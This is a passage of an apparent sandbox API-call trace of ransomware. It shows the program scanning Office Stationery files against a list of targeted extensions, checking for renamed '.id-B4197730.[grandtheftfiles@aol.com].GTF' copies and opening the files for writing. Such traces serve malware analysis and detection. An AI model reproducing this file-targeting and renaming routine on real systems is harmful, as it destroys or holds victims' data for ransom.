	[0069.886] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString=".xlsx") returned 5
	[0069.886] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0069.886] lstrlenW (lpString=".ppt") returned 4
	[0069.886] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.886] lstrlenW (lpString=".zip") returned 4
	[0069.886] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.886] lstrlenW (lpString=".rar") returned 4
	[0069.886] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString=".bz2") returned 4
	[0069.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString=".7z") returned 3
	[0069.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.886] lstrlenW (lpString=".dbf") returned 4
	[0069.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.886] lstrlenW (lpString=".1cd") returned 4
	[0069.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.886] lstrlenW (lpString=".jpg") returned 4
	[0069.886] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.886] lstrlenW (lpString=".doc") returned 4
	[0069.886] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString=".docx") returned 5
	[0069.886] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0069.886] lstrlenW (lpString=".pdf") returned 4
	[0069.886] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString=".xls") returned 4
	[0069.886] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString=".xlsx") returned 5
	[0069.886] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0069.887] lstrlenW (lpString=".ppt") returned 4
	[0069.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.887] lstrlenW (lpString=".zip") returned 4
	[0069.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.887] lstrlenW (lpString=".rar") returned 4
	[0069.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.887] lstrlenW (lpString=".bz2") returned 4
	[0069.887] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.887] lstrlenW (lpString=".7z") returned 3
	[0069.887] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.887] lstrlenW (lpString=".dbf") returned 4
	[0069.887] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.887] lstrlenW (lpString=".1cd") returned 4
	[0069.887] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.887] lstrlenW (lpString=".jpg") returned 4
	[0069.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.887] Sleep (dwMilliseconds=0x64) 
	[0070.158] Sleep (dwMilliseconds=0x64) 
	[0070.278] Sleep (dwMilliseconds=0x64) 
	[0070.421] Sleep (dwMilliseconds=0x64) 
	[0070.663] Sleep (dwMilliseconds=0x64) 
	[0071.221] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0071.221] lstrlenW (lpString="Garden.htm") returned 10
	[0071.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.227] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=231) returned 1
	[0071.227] CloseHandle (hObject=0x364) returned 1
	[0071.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20
	[0071.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.227] lstrlenW (lpString=".doc") returned 4
	[0071.227] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0071.227] lstrlenW (lpString=".docx") returned 5
	[0071.227] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0071.227] lstrlenW (lpString=".pdf") returned 4
	[0071.227] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0071.227] lstrlenW (lpString=".xls") returned 4
	[0071.227] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0071.227] lstrlenW (lpString=".xlsx") returned 5
	[0071.227] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0071.227] lstrlenW (lpString=".ppt") returned 4
	[0071.227] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0071.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.227] lstrlenW (lpString=".zip") returned 4
	[0071.227] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0071.228] lstrlenW (lpString=".rar") returned 4
	[0071.228] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0071.228] lstrlenW (lpString=".bz2") returned 4
	[0071.228] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0071.228] lstrlenW (lpString=".7z") returned 3
	[0071.228] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0071.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.228] lstrlenW (lpString=".dbf") returned 4
	[0071.228] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0071.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.228] lstrlenW (lpString=".1cd") returned 4
	[0071.228] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0071.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.228] lstrlenW (lpString=".jpg") returned 4
	[0071.228] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0071.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.228] lstrlenW (lpString=".doc") returned 4
	[0071.228] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0071.228] lstrlenW (lpString=".docx") returned 5
	[0071.228] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0071.228] lstrlenW (lpString=".pdf") returned 4
	[0071.228] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0071.228] lstrlenW (lpString=".xls") returned 4
	[0071.228] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0071.228] lstrlenW (lpString=".xlsx") returned 5
	[0071.228] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0071.228] lstrlenW (lpString=".ppt") returned 4
	[0071.228] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0071.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.228] lstrlenW (lpString=".zip") returned 4
	[0071.228] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0071.228] lstrlenW (lpString=".rar") returned 4
	[0071.228] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0071.228] lstrlenW (lpString=".bz2") returned 4
	[0071.228] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0071.229] lstrlenW (lpString=".7z") returned 3
	[0071.229] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0071.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.229] lstrlenW (lpString=".dbf") returned 4
	[0071.229] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0071.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.229] lstrlenW (lpString=".1cd") returned 4
	[0071.229] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0071.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0071.229] lstrlenW (lpString=".jpg") returned 4
	[0071.229] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0071.229] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0071.229] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0071.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.229] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=237) returned 1
	[0071.229] CloseHandle (hObject=0x364) returned 1
	[0071.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20
	[0071.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.230] lstrlenW (lpString=".doc") returned 4
	[0071.230] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0071.230] lstrlenW (lpString=".docx") returned 5
	[0071.230] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0071.230] lstrlenW (lpString=".pdf") returned 4
	[0071.230] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0071.230] lstrlenW (lpString=".xls") returned 4
	[0071.230] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0071.230] lstrlenW (lpString=".xlsx") returned 5
	[0071.230] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0071.230] lstrlenW (lpString=".ppt") returned 4
	[0071.230] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.230] lstrlenW (lpString=".zip") returned 4
	[0071.230] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0071.230] lstrlenW (lpString=".rar") returned 4
	[0071.230] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0071.230] lstrlenW (lpString=".bz2") returned 4
	[0071.230] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0071.230] lstrlenW (lpString=".7z") returned 3
	[0071.230] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.230] lstrlenW (lpString=".dbf") returned 4
	[0071.230] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.230] lstrlenW (lpString=".1cd") returned 4
	[0071.230] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.230] lstrlenW (lpString=".jpg") returned 4
	[0071.230] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.230] lstrlenW (lpString=".doc") returned 4
	[0071.230] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0071.231] lstrlenW (lpString=".docx") returned 5
	[0071.231] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0071.231] lstrlenW (lpString=".pdf") returned 4
	[0071.231] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0071.231] lstrlenW (lpString=".xls") returned 4
	[0071.231] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0071.231] lstrlenW (lpString=".xlsx") returned 5
	[0071.231] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0071.231] lstrlenW (lpString=".ppt") returned 4
	[0071.231] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0071.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.231] lstrlenW (lpString=".zip") returned 4
	[0071.231] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0071.231] lstrlenW (lpString=".rar") returned 4
	[0071.231] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0071.231] lstrlenW (lpString=".bz2") returned 4
	[0071.231] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0071.231] lstrlenW (lpString=".7z") returned 3
	[0071.231] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0071.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.231] lstrlenW (lpString=".dbf") returned 4
	[0071.231] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0071.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.231] lstrlenW (lpString=".1cd") returned 4
	[0071.231] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0071.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0071.231] lstrlenW (lpString=".jpg") returned 4
	[0071.231] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0071.231] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0071.231] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0071.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.234] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=6406) returned 1
	[0071.234] CloseHandle (hObject=0x364) returned 1
	[0071.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20
	[0071.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.235] lstrlenW (lpString=".doc") returned 4
	[0071.235] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0071.235] lstrlenW (lpString=".docx") returned 5
	[0071.235] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0071.235] lstrlenW (lpString=".pdf") returned 4
	[0071.235] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0071.235] lstrlenW (lpString=".xls") returned 4
	[0071.235] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0071.235] lstrlenW (lpString=".xlsx") returned 5
	[0071.235] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0071.235] lstrlenW (lpString=".ppt") returned 4
	[0071.235] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.235] lstrlenW (lpString=".zip") returned 4
	[0071.235] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0071.235] lstrlenW (lpString=".rar") returned 4
	[0071.235] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0071.235] lstrlenW (lpString=".bz2") returned 4
	[0071.235] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0071.235] lstrlenW (lpString=".7z") returned 3
	[0071.235] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.235] lstrlenW (lpString=".dbf") returned 4
	[0071.235] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.235] lstrlenW (lpString=".1cd") returned 4
	[0071.235] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0071.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.235] lstrlenW (lpString=".jpg") returned 4
	[0071.235] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0071.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.236] lstrlenW (lpString=".doc") returned 4
	[0071.236] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0071.236] lstrlenW (lpString=".docx") returned 5
	[0071.236] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0071.236] lstrlenW (lpString=".pdf") returned 4
	[0071.236] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0071.236] lstrlenW (lpString=".xls") returned 4
	[0071.236] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0071.236] lstrlenW (lpString=".xlsx") returned 5
	[0071.236] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0071.236] lstrlenW (lpString=".ppt") returned 4
	[0071.236] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0071.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.236] lstrlenW (lpString=".zip") returned 4
	[0071.236] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0071.236] lstrlenW (lpString=".rar") returned 4
	[0071.236] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0071.236] lstrlenW (lpString=".bz2") returned 4
	[0071.236] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0071.236] lstrlenW (lpString=".7z") returned 3
	[0071.236] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0071.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.236] lstrlenW (lpString=".dbf") returned 4
	[0071.236] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0071.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.236] lstrlenW (lpString=".1cd") returned 4
	[0071.236] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0071.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0071.236] lstrlenW (lpString=".jpg") returned 4
	[0071.236] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0071.236] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0071.236] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0071.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.238] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=235) returned 1
	[0071.238] CloseHandle (hObject=0x364) returned 1
	[0071.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20
	[0071.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.238] lstrlenW (lpString=".doc") returned 4
	[0071.238] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0071.238] lstrlenW (lpString=".docx") returned 5
	[0071.238] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0071.238] lstrlenW (lpString=".pdf") returned 4
	[0071.238] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0071.238] lstrlenW (lpString=".xls") returned 4
	[0071.238] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0071.238] lstrlenW (lpString=".xlsx") returned 5
	[0071.239] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0071.239] lstrlenW (lpString=".ppt") returned 4
	[0071.239] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0071.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.239] lstrlenW (lpString=".zip") returned 4
	[0071.239] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0071.239] lstrlenW (lpString=".rar") returned 4
	[0071.239] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0071.239] lstrlenW (lpString=".bz2") returned 4
	[0071.239] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0071.239] lstrlenW (lpString=".7z") returned 3
	[0071.239] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0071.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.239] lstrlenW (lpString=".dbf") returned 4
	[0071.239] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0071.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.239] lstrlenW (lpString=".1cd") returned 4
	[0071.239] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0071.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.239] lstrlenW (lpString=".jpg") returned 4
	[0071.239] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0071.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.239] lstrlenW (lpString=".doc") returned 4
	[0071.239] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0071.239] lstrlenW (lpString=".docx") returned 5
	[0071.239] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0071.239] lstrlenW (lpString=".pdf") returned 4
	[0071.239] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0071.239] lstrlenW (lpString=".xls") returned 4
	[0071.239] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0071.239] lstrlenW (lpString=".xlsx") returned 5
	[0071.239] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0071.239] lstrlenW (lpString=".ppt") returned 4
	[0071.239] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0071.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0071.240] lstrlenW (lpString=".zip") returned 4
	[0071.240] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0071.240] lstrlenW (lpString=".rar") returned 4
	[0071.240] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
